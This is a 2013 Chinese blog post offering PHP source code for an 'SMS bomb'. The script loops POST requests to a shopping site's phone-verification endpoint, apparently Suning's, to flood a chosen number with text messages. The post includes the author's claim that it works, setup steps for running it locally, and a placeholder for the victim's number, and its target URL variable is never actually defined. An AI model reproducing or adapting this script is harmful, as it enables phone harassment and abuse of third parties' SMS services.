Pages

Thursday, 3 January 2013

短信炸弹的源代码

短信炸弹一直是很多人热衷的东西,网上也一直有人提供各种各样的短信炸弹的代码.很多的短信炸弹程序都是利用的网站的手机短信验证功能.我以前也作 过短信炸弹的程序,当时用的是百度一个服务的短信验证功能,不过一次只能给一个手机发送十条短信.但随着时间的推移,网站验证机制的升级,我的那个程序以 及网上大部分程序都已经无法使用了.但这阻止不了伟大的中国人民前进的脚步,又有越来越多的存在漏洞的网站被人们发掘出来,成为短信炸弹的帮凶.
今天在这里我再为大家提供一款短信炸弹的源代码.要说明的是,这个代码不是我写的,是我之前在网上找到的,不过有一段时间了,我也忘了具体是哪一个网站 了.这个代码是切实可行的,我用自己的手机作过试验,成功率和效率都是非常高的.这个程序同样利用的是网站的手机验证码机制,这个网站就是苏宁易购,所以 不保证代码长时间有效.代码是PHP源代码,需要在PHP环境中运行,你可以在网上申请一个免费的PHP空间,然后上传代码,然后在浏览器中访问代码网页 即可.不过网上的免费空间好像都不支持"curl_init"这个函数,所以造成代码无法运行,不过没关系,我们可以在本地搭建一个PHP环境.如果你有 一定基础就下载一个"apache"和"PHP"手工配置以下,或者直接搜索一个"PHPNow"或"XAMPP",这两个程序可以说都是傻瓜式的,简单 几步就可以搭建一个PHP环境.然后将做好的代码文件(如phone.php)放到程序制定的目录,在浏览器中访问"http://127.0.0.1 /你的文件名.php(如http://127.0.0.1/phone.php)"就可以开始短信轰炸了.
好了,不说废话了,上代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
 
function curlpost($url,$vars,$timeout='10'){
 
    $ch = curl_init();
 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
 
    curl_setopt($ch, CURLOPT_URL,$url);
 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
 
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
 
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
//设置超时时间
 
    curl_setopt($ch, CURLOPT_POST, 1 );
 
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($vars));
 
    $data = curl_exec($ch);
 
    curl_close($ch);
 
    return $data;
 
  
 
}
 
  
 
 
$vars = array('cellphone'=>'139xxxx','action'=>'send','t'=>time());
//只需要填写手机号就可以了
 
  
 
for($i=0;$i<50;$i++){
 
    $data = json_decode(curlpost($url, $vars),true);
 
    if($data['result']==1){
 
        echo '发送ok'.$i.'<br/>';
 
        sleep(3);
//休息三秒
 
    }else{
 
        echo '发送失败'.$i.'<br/>';
 
    }
 
}
 
//print_r(json_decode($data,true));

最后说一句,代码中的手机号换成自己的啊.